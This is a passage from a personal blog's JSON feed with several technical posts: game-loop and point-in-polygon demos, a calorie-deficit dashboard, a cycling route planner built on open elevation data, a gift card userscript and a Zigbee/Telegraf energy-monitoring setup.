corner, exactly one of the two edges counts. If only a tip touches the ray, either both count or neither, so the parity stays even. A horizontal edge never passes the test and is never counted, its neighbouring edges sort it out on their own.\u003C\/p\u003E\n\u003Cp\u003ETo try it, use the \u0026#34;Snap ray to corner\u0026#34; chip (key S). The ray then locks onto the height of the nearest corner and the corner gets a ring. On the concave polygon you can see that of the two edges at a pass-through corner only one turns orange. In the test it is the same thing as a diamond whose left and right corners sit exactly at height 0:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Polygon d{{0, -2}, {2, 0}, {0, 2}, {-2, 0}};\nassert(evenOdd(d, {0, 0}));    \/\/ ray leaves through the right corner: that must count once\nassert(!evenOdd(d, {-5, 0}));  \/\/ ray passes the left corner and the right corner: once each, even\n\u003C\/pre\u003E\n\u003Ch2\u003EEven-odd or winding number\u003C\/h2\u003E\n\u003Cp\u003EInstead of just counting, you can give every crossing a direction: \u0026#43;1 if the edge runs towards a larger y, -1 otherwise. The sum is the winding number, and anything other than 0 means inside:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline int windingNumber(const Polygon\u0026amp; poly, Vec2 p) {\n    int w \u0026#61; 0;\n    for (const Crossing\u0026amp; c : rayCrossings(poly, p)) w \u0026#43;\u0026#61; c.dir;\n    return w;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EOn ordinary polygons both give the same answer. The difference shows when the polygon crosses itself. That is why the demo starts with a five-pointed star, where every corner is connected to the one after next. The pentagon in the middle is circled twice by the line. The ray from the center crosses two edges, two is even, so ray casting says \u0026#34;outside\u0026#34; and leaves the middle hollow when filling. With chip 2 (key 2) it counts \u0026#43;1 twice, the winding number is 2 and the middle is \u0026#34;inside\u0026#34;. The demo\u0026#039;s fill is drawn with the selected rule, so you see the switch right away. SVG and canvas both know the two rules as \u003Ccode\u003Efill-rule\u003C\/code\u003E, with \u003Ccode\u003Enonzero\u003C\/code\u003E as the default.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EIf the test point itself lies exactly on the boundary, the result is a convention. With this rule the sides with the smaller x or y are inside and the ones with the larger x or y are outside. On the square from (0,0) to (4,4), (0,2) is inside and (4,2) is outside. Two polygons that share an edge never both claim the same point that way. With mouse coordinates this rarely happens, which is why the snap chip exists, it sets the ray height to a corner.\u003C\/p\u003E\n\u003Cp\u003EBesides hand-computed cases there is a test that mirrors the same polygons and checks that the answer stays the same. A ray to the right in the mirrored polygon is a ray to the left in the original, so that is a second, independent answer to the same question. A polygon with fewer than three corners has no area, \u003Ccode\u003ErayCrossings\u003C\/code\u003E returns no hits for it, and deleting stops at three corners.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-point-in-polygon\/point-in-polygon\u0022\u003Epoint-in-polygon\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-08-14T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/fixed-timestep-drawing-with-interpolation","url":"https:\/\/malura.de\/en\/blog\/fixed-timestep-drawing-with-interpolation","title":"Fixed timestep: drawing with interpolation","content_html":"\u003Cp\u003EAt 60 updates per second you don\u0026#039;t notice that the game stands still between two steps. With a logic rate of 5 you see it right away. That\u0026#039;s what the demo is for.\u003C\/p\u003E\n\u003Cp\u003E[[demo:fixed-timestep]]\u003C\/p\u003E\n\u003Cp\u003EA click switches the rate to 5, 10, 20 and 60 steps per second. The orange square is drawn at the position of the latest logic step and jumps. The teal one is interpolated between the last two steps and glides.\u003C\/p\u003E\n\u003Ch2\u003EWhat\u0026#039;s left in the bucket\u003C\/h2\u003E\n\u003Cp\u003EYou know the accumulator from \u003Ca href=\u0022\/en\/blog\/update-loop\u0022\u003EUpdate loop\u003C\/a\u003E: after the logic steps there is usually some time left over, less than a whole step. That remainder tells you how far the picture already is between two steps. Divide it by the step time and you get \u003Ccode\u003Ealpha\u003C\/code\u003E between 0 and 1:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst float alpha \u0026#61; accumulator \/ step;\nconst float drawX \u0026#61; prevX \u0026#43; (curX - prevX) * alpha;\n\u003C\/pre\u003E\n\u003Cp\u003ESo what gets drawn is not the newest state but a point between the second to last and the last one. That costs something: the picture always trails the game by up to one logic step. At 60 steps that\u0026#039;s 16 milliseconds, at 5 steps it\u0026#039;s 200, and you notice that in the demo.\u003C\/p\u003E\n\u003Ch2\u003ECatching stalls\u003C\/h2\u003E\n\u003Cp\u003EKey S adds half a second to the frame time, as if the game had hung for a moment. Without a clamp the accumulator would catch up 30 steps at 60 steps per second, with complex logic that takes long itself and the next frame has even more to catch up. The demo clamps the frame time to 0.25 seconds, so at most 15 steps per frame at 60 steps per second. Some game time is lost for that, the game runs slower for a moment. The line \u003Ccode\u003Esteps this frame\u003C\/code\u003E at the bottom shows how many steps were just caught up.\u003C\/p\u003E\n\u003Cp\u003EHow the loop looks as a whole is in \u003Ca href=\u0022\/en\/blog\/update-loop\u0022\u003EUpdate loop\u003C\/a\u003E, why using the frame time as the step size isn\u0026#039;t enough is in \u003Ca href=\u0022\/en\/blog\/delta-time-motion-independent-of-the-frame-rate\u0022\u003EDelta time\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-fixed-timestep\/fixed-timestep\u0022\u003Efixed-timestep\u003C\/a\u003E. The project \u003Ca href=\u0022\/projekte\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-08-07T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/delta-time-motion-independent-of-the-frame-rate","url":"https:\/\/malura.de\/en\/blog\/delta-time-motion-independent-of-the-frame-rate","title":"Delta time: motion independent of the frame rate","content_html":"\u003Cp\u003EIt\u0026#039;s an easy mistake: you write \u003Ccode\u003Ex \u0026#43;\u0026#61; 4\u003C\/code\u003E, the square moves, everything looks fine. On a machine that manages 60 frames per second that\u0026#039;s 240 pixels per second. At 30 frames it\u0026#039;s only 120, and the game feels like slow motion.\u003C\/p\u003E\n\u003Cp\u003E[[demo:delta-time]]\u003C\/p\u003E\n\u003Cp\u003EThe orange square at the top does exactly that, per frame. A click in the demo switches the frame rate to 15, 30, 60 and 144, and the orange square gets slower or faster with it. The teal one below always keeps the same speed.\u003C\/p\u003E\n\u003Ch2\u003EPixels per second times seconds\u003C\/h2\u003E\n\u003Cp\u003EInstead of pixels per frame you work in pixels per second and multiply by the time that has passed since the last frame. That\u0026#039;s delta time:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Uint64 now \u0026#61; SDL_GetPerformanceCounter();\nconst double delta \u0026#61; double(now - last) \/ SDL_GetPerformanceFrequency();\nlast \u0026#61; now;\n\nx \u0026#43;\u0026#61; 240.0f * float(delta);\n\u003C\/pre\u003E\n\u003Cp\u003EAt 60 frames \u003Ccode\u003Edelta\u003C\/code\u003E is about 0.0167 seconds, so the square moves 4 pixels per frame. At 30 frames it\u0026#039;s 0.033 seconds and 8 pixels per frame. Per second it covers 240 pixels either way.\u003C\/p\u003E\n\u003Ch2\u003ECatching big jumps\u003C\/h2\u003E\n\u003Cp\u003EIf you switch tabs or the game stalls for a moment, \u003Ccode\u003Edelta\u003C\/code\u003E is suddenly two seconds long and the square leaps across the screen, in the worst case through a wall. The demo clamps the time to a quarter of a second:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double delta \u0026#61; std::min(sinceFrame, 0.25);\n\u003C\/pre\u003E\n\u003Cp\u003EThat\u0026#039;s enough for a square. Once physics and collisions come in, the result still depends on the frame rate, even if everything feels similar. Then you want a fixed timestep, like the one in the \u003Ca href=\u0022https:\/\/demos.malura.de\/update-loop\/\u0022\u003Eupdate loop demo\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003EWhile building the demo I introduced a bug of my own. At a target of 60 it showed only 40 frames per second. I had compared the interval exactly, and the display delivers frames after 16.6 milliseconds one time and 16.7 the next. Every second frame just missed. Now a frame counts even if it is two milliseconds early.\u003C\/p\u003E\n\u003Cp\u003EThe full code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-delta-time\/delta-time\u0022\u003Edelta-time\u003C\/a\u003E. The project \u003Ca href=\u0022\/projekte\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-07-31T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-deficit-scale-had-never-heard-of-my-own-settings","url":"https:\/\/malura.de\/en\/blog\/my-deficit-scale-had-never-heard-of-my-own-settings","title":"My deficit scale had never heard of my own settings","content_html":"\u003Cp\u003EThe calorie calendar in my \u003Ca href=\u0022\/projekte\/health-dashboard\u0022\u003EHealth Dashboard\u003C\/a\u003E colours every day of the last 60 days by how good the deficit was. Green from 700 kcal, yellow from 300, red below that. I wrote those numbers down at some point and never touched them again.\u003C\/p\u003E\n\u003Cp\u003EI only noticed because almost every day came out yellow or red. My target deficit is set to 500 kcal, so a perfectly hit day was yellow by definition. The scale had no idea about the setting it was supposed to measure against.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003EHow much deficit is too much\u003C\/h2\u003E\n\u003Cp\u003EThe lower end was easy: green from the configured target deficit, red once you drop a third below it. The upper end I had no answer for. Too much deficit is as unhealthy as too little, but starting where?\u003C\/p\u003E\n\u003Cp\u003EI remembered a rule involving 20 percent and could not remember 20 percent of what. Turns out it exists in three versions, and they are nowhere near each other:\u003C\/p\u003E\n\u003Cp\u003EThe CALERIE trial tested a 25 percent deficit off daily expenditure. With my 2,489 kcal that would be a whopping 622 kcal. The participants were of normal weight, though. At 118 kg the rule is absurdly strict and I would sit in the yellow zone permanently.\u003C\/p\u003E\n\u003Cp\u003EAlpert measured in 2005 how fast the body can pull energy out of its fat stores at all: 290 kJ per kg of fat mass per day. With my 37.6 kg of fat that comes to 2,600 kcal a day. That is the physiological ceiling, not a recommendation.\u003C\/p\u003E\n\u003Cp\u003EI went with the rule that obesity guidelines actually use: at most 1 percent of body weight per week. A kilo of fat is roughly 7,700 kcal, which as a daily figure gives:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E0.01 * weight * 7700 \/ 7 \u0026#61; weight * 11\n\u003C\/pre\u003E\n\u003Cp\u003EAt 117.8 kg that is 1,295 kcal. Above it turns yellow, from 1.2 times that it turns red. The nice part is that the limit moves along with the weight. Every day in the calendar uses the weight that was on the scale that day.\u003C\/p\u003E\n\u003Ch2\u003EI had guessed the wrong problem\u003C\/h2\u003E\n\u003Cp\u003EAfter the rebuild I was convinced the colours would come out mostly green. They did not. Of 50 logged days, 17 are red and 19 yellow, and the reason is the opposite of what I assumed: 15 days sit above the upper limit, only 5 below my target. June 10th says 380 calories eaten and a deficit of 2,445.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Cp\u003EThe reality check saves the balance anyway. From June 15th to July 28th it comes to 6.45 kg, so 1.03 kg per week. At 118 to 124 kg that is 0.85 percent, comfortably inside the rule. My average is 1,181 kcal, which lands in the green band. What is missing is consistency. The spread runs from minus 946 to plus 2,445.\u003C\/p\u003E\n\u003Cp\u003EThe bar up top shows exactly that now. Hover a day and the marker jumps to that day\u0026#039;s deficit and writes underneath why the colour is what it is. Move the mouse away and it goes back to the 60 day average.\u003C\/p\u003E\n\u003Ch2\u003EOne rule went straight back out\u003C\/h2\u003E\n\u003Cp\u003EI had also built in a lower bound: eat less than 1,500 kcal and the day turns yellow, whatever the deficit says. Sounds sensible, but it says the same thing twice. At an expenditure of 2,500, eating 1,400 calories automatically produces a deficit of 1,100, and past 1,295 the upper limit kicks in anyway. The rule never caught anything the other one had not caught already. Four days jumped from yellow to green after I removed it, and rightly so.\u003C\/p\u003E\n\u003Cp\u003EAll the thresholds now live in a single class. Before that, cell colour, legend and tooltip could have drifted apart independently, which is exactly how this started: a legend proudly claiming \u0026#34;deficit \u2265 700\u0026#34; while the settings said 500.\u003C\/p\u003E\n","date_published":"2026-07-29T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/cycling-run-through-the-numbers-95-percent-basal-metabolism-and-a-route-with-0-km-of-new-road","url":"https:\/\/malura.de\/en\/blog\/cycling-run-through-the-numbers-95-percent-basal-metabolism-and-a-route-with-0-km-of-new-road","title":"Cycling run through the numbers: 95 percent basal metabolism and a route with 0 km of new road","content_html":"\u003Cp\u003EIt started with a duplicate point in a chart. My \u003Ca href=\u0022\/projects\/health-dashboard\u0022\u003EHealth Dashboard\u003C\/a\u003E showed today twice, because an end marker got appended even when a data point for today already existed. The fix turned into a rebuild, and the rebuild turned into the question that kept me busy for two weeks: how do I actually optimise my cycling?\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThe data is 23 GPX tracks from 60 days, pushed second by second through a physics model instead of Apple\u0026#039;s heart-rate guess.\u003C\/p\u003E\n\u003Ch2\u003ETraining is not the lever\u003C\/h2\u003E\n\u003Cp\u003EMy reflex was to tweak the training. The numbers say otherwise: over 60 days, 130,500 kcal came from basal metabolism and 6,595 from all training combined. 95 to 5. A double cheeseburger at 1,273 kcal equals 165 minutes on the bike.\u003C\/p\u003E\n\u003Cp\u003ESo cycling is not a calorie lever, it protects muscle and trains the cardiovascular system. The balance is decided at the dinner table. Within a ride there are still clear differences:\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003Euphill above 2 percent: 10.4 kcal\/min, but only 14 percent of ride time\u003C\/li\u003E\n\u003Cli\u003Eflat: 5.2 kcal\/min, 78 percent of the time\u003C\/li\u003E\n\u003Cli\u003Edownhill: 0.5 kcal\/min\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EFor 22 percent of the ride time I coast below 25 watts, which is basically just basal metabolism. One metre of climbing costs 1.31 kcal at 134 kg system weight, regardless of speed. Climbing is the strongest single lever, riding faster the weakest: ride a fixed loop faster and you are simply home earlier. I plan in minutes now, not kilometres.\u003C\/p\u003E\n\u003Cp\u003EHeart rate is a symptom, not a control. The correlation between heart rate and burn is 0.82; take speed out of the equation and 0.54 is left. The rest is heat, fatigue and hydration.\u003C\/p\u003E\n\u003Cp\u003ESpeaking of drinking: I first had 1.0 to 1.5 l\/h of sweat in the plan, taken from endurance-athlete literature. Wrong transfer, those numbers come from road racers at 250 to 300 watts. Only what shows up as heat can evaporate, and a litre of sweat removes 2,430 kJ. At my 120 to 180 watts it is really 0.5 to 0.8 l\/h. The headache lever is not water anyway, it is sodium: roughly 800 mg is lost per litre of sweat, and topping that up with plain water dilutes your blood sodium even further.\u003C\/p\u003E\n\u003Ch2\u003EThe idea I dropped: letting water run downhill\u003C\/h2\u003E\n\u003Cp\u003EIf climbing is the lever, I need a loop with as much of it as possible inside the same time budget. So I built a route planner: OpenStreetMap for the paths, an elevation model for the heights, the power model for the speed.\u003C\/p\u003E\n\u003Cp\u003EMy first approach was a water simulation. Start at the highest rideable point and let water run downhill, always taking the steepest descending edge. These flow paths are by construction the steepest continuous lines in the network, so ridden backwards they are the climbs with the highest metres per kilometre. Count how many sources pass over each edge and you get flow accumulation, the same thing hydrologists use to find streams. Just for ramps instead.\u003C\/p\u003E\n\u003Cp\u003EIt does not work as route planning, and that became obvious quickly. A flow path runs top to bottom and stops at the bottom. It knows nothing about a time budget, nothing about getting back, and certainly nothing about a loop. What I wanted was an evening ride that ends where it started. So the simulation went out again and the optimiser now works directly on the road graph.\u003C\/p\u003E\n\u003Cp\u003EWhat is left of it is a nice map showing where the ramps actually are.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Ch2\u003EA route with 0.0 km of new road\u003C\/h2\u003E\n\u003Cp\u003EThe first usable run won with 259 metres of climbing. I asked where exactly I would be riding. Answer: out to Hopferbach, the same ramp twice, same way back. 0.0 km ridden only once.\u003C\/p\u003E\n\u003Cp\u003EThe optimiser was right. Maximising climbing alone inevitably leads to repetition, because every new stretch costs time on flat connecting road while riding the same ramp again costs nothing. I was not missing compute, I was missing a constraint. \u003Ccode\u003E--min-new\u003C\/code\u003E now sets the minimum share of road ridden only once.\u003C\/p\u003E\n\u003Cp\u003EAnother question had already exposed a real bug before that. I only wanted to know how to get home from F\u00fcnfh\u00e4user, and got 9.8 km for a connection 1.4 km as the crow flies. That was not a detour, that was a severed graph.\u003C\/p\u003E\n\u003Ch2\u003EThe most expensive mistake was resolution\u003C\/h2\u003E\n\u003Cp\u003EThe gradient filter dropped every edge steeper than the rideable limit, and it checked edges 20 to 50 metres long as well. On an elevation grid with 300 metre cells, their height difference comes from interpolation noise, not from real gradient. Flat roads fell out of the network. The rule is now fixed in the code: only apply the gradient filter to edges longer than half the cell size. After the fix every route variant gained 18 to 42 metres of climbing.\u003C\/p\u003E\n\u003Cp\u003EThe actual fix was getting rid of the coarse grid. Baden-W\u00fcrttemberg publishes its official DGM1 elevation model for free, 1 metre cells, 2x2 km tiles. The URL scheme is documented nowhere, but it is right there in the source of the official QGIS plugin:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ehttps:\/\/opengeodata.lgl-bw.de\/data\/dgm\/dgm1_32_{easting}_{northing}_2_bw.zip\n\u003C\/pre\u003E\n\u003Cp\u003ETile grid in UTM32, easting odd, northing even, both in kilometres. Without that, all you get is 404s.\u003C\/p\u003E\n\u003Cp\u003EComputing at 1 metre would be nonsense: my 9 km radius would be over 10 GB of elevation points, and what matters is the gradient over edge lengths of 20 to 200 metres. So I aggregate down to 10 metres with \u003Ccode\u003Egdalwarp -r average\u003C\/code\u003E. 12 GB of raw data become a 9 MB GeoTIFF, thirty times finer than before, and it fits entirely in RAM. The aggregation is not a compromise, it is the whole point: it removes exactly the noise that sabotaged the gradient filter earlier.\u003C\/p\u003E\n\u003Cp\u003EIt runs in a container on \u003Ccode\u003Eghcr.io\/osgeo\/gdal\u003C\/code\u003E, because I do not want a GDAL toolchain on my Mac:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Edocker run \u003Cspan class=\u0022hl-generic\u0022\u003E--rm\u003C\/span\u003E \u003Cspan class=\u0022hl-generic\u0022\u003E-v\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;$PWD:\/work\u0026#34;\u003C\/span\u003E healthgeo \\\n    python3 scripts\/geodata\/build_dem.py \u003Cspan class=\u0022hl-generic\u0022\u003E--radius\u003C\/span\u003E \u003Cspan class=\u0022hl-number\u0022\u003E9\u003C\/span\u003E \u003Cspan class=\u0022hl-generic\u0022\u003E--target-res\u003C\/span\u003E \u003Cspan class=\u0022hl-number\u0022\u003E10\u003C\/span\u003E \u003Cspan class=\u0022hl-generic\u0022\u003E--out\u003C\/span\u003E var\/route-cache\/dem.tif\n\u003C\/pre\u003E\n\u003Cp\u003EOne detour I saved myself: pyosmium refused to install without a build toolchain. Turns out GDAL ships the OSM PBF driver anyway, and \u003Ccode\u003Eogr2ogr\u003C\/code\u003E reads the Geofabrik extract directly.\u003C\/p\u003E\n\u003Cp\u003E[[img:3]]\u003C\/p\u003E\n\u003Ch2\u003EWhat came out of it\u003C\/h2\u003E\n\u003Cp\u003E[[img:4]]\u003C\/p\u003E\n\u003Cp\u003E231 metres of climbing, 17.9 km, 59 minutes, 98 percent new road. My previous loops were 82 metres in 41 minutes. That is \u0026#43;149 metres of climbing and roughly 250 kcal for 18 minutes more time.\u003C\/p\u003E\n\u003Cp\u003EThe exact route is obviously not part of this post. Map and elevation profile are trimmed by 2.5 kilometres at each end and the start marker is gone, otherwise I would be publishing where I live along with it. If you want the same thing, take the planner and your own starting point.\u003C\/p\u003E\n\u003Cp\u003EThe route is not provably optimal. Maximum climbing on a loop within a time budget is an orienteering problem and therefore NP-hard. It is deterministic though: same input, bit-identical route.\u003C\/p\u003E\n\u003Cp\u003EWhat I take away from those two weeks: both real bugs came out of the sentence \u0026#34;I don\u0026#039;t understand this\u0026#34;, not out of tests. And the most expensive mistake was not in the physics, it was in a grid that was too coarse.\u003C\/p\u003E\n","date_published":"2026-07-27T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/update-loop","url":"https:\/\/malura.de\/en\/blog\/update-loop","title":"Update loop","content_html":"\u003Cp\u003EThe simplest game loop fits in three lines: read input, update the game, draw a frame, start over. It runs as fast as the machine can. That is exactly the problem, because then everything depends on the speed of the machine.\u003C\/p\u003E\n\u003Cp\u003E[[demo:update-loop]]\u003C\/p\u003E\n\u003Cp\u003EThe teal square moves at a fixed 60 updates per second, no matter how often frames are drawn. Both counters are at the top of the demo: \u003Ccode\u003Eupdates\/s\u003C\/code\u003E stays at 60, \u003Ccode\u003Eframes\/s\u003C\/code\u003E follows your display.\u003C\/p\u003E\n\u003Ch2\u003ESeparating logic from drawing\u003C\/h2\u003E\n\u003Cp\u003EThe loop in the demo measures how much time has passed since the last iteration and puts it into a bucket, the accumulator. As long as the bucket holds at least one step of 1\/60 second, a logic update runs and the bucket shrinks by one step. Drawing happens once afterwards:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003EframeTime \u0026#61; std::min(frameTime, 0.25);\naccumulator \u0026#43;\u0026#61; frameTime;\nwhile (accumulator \u0026gt;\u0026#61; kStep) {\n    update();\n    accumulator -\u0026#61; kStep;\n}\ndraw();\n\u003C\/pre\u003E\n\u003Cp\u003EThe clamp to 0.25 seconds has a reason. If the game stalls for a moment, the bucket would try to catch up hundreds of steps at once, the catching up takes too long itself, and the loop never recovers. The clamp limits the frame interval before it gets that far. What drawing looks like between two logic steps is in the post \u003Ca href=\u0022\/en\/blog\/fixed-timestep-drawing-with-interpolation\u0022\u003EFixed timestep\u003C\/a\u003E. The alternative, where the step size grows with the frame time, is in \u003Ca href=\u0022\/en\/blog\/delta-time-motion-independent-of-the-frame-rate\u0022\u003EDelta time\u003C\/a\u003E.\u003C\/p\u003E\n\u003Ch2\u003EThe same thing in Python\u003C\/h2\u003E\n\u003Cp\u003EThe second demo is the same loop in Python with pygame-ce, running right in the browser through Pyodide. On first start it downloads about 15 MB of runtime, afterwards it comes from the cache. Dumb part: my first version ran the loop at over 2000 frames per second, because \u003Ccode\u003Eawait asyncio.sleep(0)\u003C\/code\u003E gives the browser no break. Now it sleeps briefly on every iteration (\u003Ccode\u003Eawait asyncio.sleep(1 \/ 120)\u003C\/code\u003E), and the logic still stays at 60 updates.\u003C\/p\u003E\n\u003Cp\u003E[[demo:update-loop-py]]\u003C\/p\u003E\n\u003Cp\u003EThe step logic lives in a small class \u003Ccode\u003EFixedStepper\u003C\/code\u003E, covered by six unit tests. It knows neither pygame nor Pyodide, so it also runs natively in the tests.\u003C\/p\u003E\n\u003Cp\u003EBoth demos are in the repo: \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-update-loop\/update-loop\u0022\u003EC\u0026#43;\u0026#43; with SDL3\u003C\/a\u003E and \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-update-loop\/update-loop-py\u0022\u003EPython with pygame-ce\u003C\/a\u003E. The project \u003Ca href=\u0022\/projekte\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-07-24T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/media-markt-gift-card-manager","url":"https:\/\/malura.de\/en\/blog\/media-markt-gift-card-manager","title":"Media Markt Gift Card Manager","content_html":"\u003Cp\u003EMy employer gives me a 50-euro Media Markt voucher as a PDF every month. Nice perk, but when you order online and want to redeem several vouchers, it gets annoying: open the PDF, copy the card number, copy the PIN, enter them in the shop, open the next PDF, copy again. With four or five vouchers saved up, that\u0026#039;s no fun.\u003C\/p\u003E\n\u003Cp\u003ESo I built myself a browser overlay that parses the PDFs directly. You drag and drop the voucher PDFs in (or click), the script extracts the card number and PIN automatically and lists all available vouchers. Click \u0026#34;Redeem\u0026#34; and the number gets entered straight into the input field on the Media Markt checkout page.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EOn the left, the overlay shows the available vouchers with card number and a redeem button. Vouchers that have already been used move to a separate section. On the right, the normal Media Markt dialog for adding a gift card opens, with the card number and PIN already pre-filled.\u003C\/p\u003E\n\u003Cp\u003EFeatures:\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003ELoad PDF vouchers via drag and drop\u003C\/li\u003E\n\u003Cli\u003EAutomatic extraction of card number and PIN from the PDF\u003C\/li\u003E\n\u003Cli\u003EOne-click redemption right in the checkout\u003C\/li\u003E\n\u003Cli\u003ETracking of which vouchers have already been used\u003C\/li\u003E\n\u003Cli\u003EWorks on Saturn too (same parent company, same system)\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EThe whole userscript is available as a \u003Ca href=\u0022https:\/\/gist.github.com\/maluramichael\/b30fcd6a595e6409891666e4e5d86d33\u0022\u003EGist on GitHub\u003C\/a\u003E.\u003C\/p\u003E\n","date_published":"2026-05-04T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/zigbee-plugs-grafana-sankey-and-water-consumption","url":"https:\/\/malura.de\/en\/blog\/zigbee-plugs-grafana-sankey-and-water-consumption","title":"Zigbee Plugs, Grafana Sankey and Water Consumption","content_html":"\u003Cp\u003EAfter getting \u003Ca href=\u0022\/blog\/2026\/04\/13\/smart-heating-zigbee\/\u0022\u003Eso cozy\u003C\/a\u003E with the Zigbee thermostats and temperature sensors, I\u0026#039;ve now grabbed four \u003Ca href=\u0022https:\/\/amzn.to\/4u6AjPX\u0022\u003EZigbee plugs\u003C\/a\u003E to test. Sonoff S60ZBTPF, which have a power meter built in alongside the switchable relay. 53 euros for all four, so a good 13 euros apiece.\u003C\/p\u003E\n\u003Cp\u003EConnected now are the fridge, freezer, TV cabinet and the water softener. The devices show up directly in MQTT via Zigbee2MQTT, Telegraf swallows the values and writes them into InfluxDB, exactly like with the thermostats, just with its own \u003Ccode\u003Einputs.mqtt_consumer\u003C\/code\u003E block in the Telegraf config because the plugs use a different topic format:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E[[\u003C\/span\u003E\u003Cspan class=\u0022hl-type\u0022\u003Einputs.mqtt_consumer\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E]]\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-property\u0022\u003Eservers\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E[\u003C\/span\u003E\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;tcp:\/\/mosquitto:1883\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E]\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-property\u0022\u003Etopics\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E[\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/K\u00fchlschrank\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/TV Schrank\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/Gefrierschrank\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/Enth\u00e4rtungsanlage\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-operator\u0022\u003E]\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-property\u0022\u003Etopic_tag\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;device\u0026#34;\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-property\u0022\u003Edata_format\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;json\u0026#34;\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-property\u0022\u003Ename_override\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee\u0026#34;\u003C\/span\u003E\n\n  \u003Cspan class=\u0022hl-property\u0022\u003Efieldinclude\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E[\u003C\/span\u003E\n    \u003Cspan 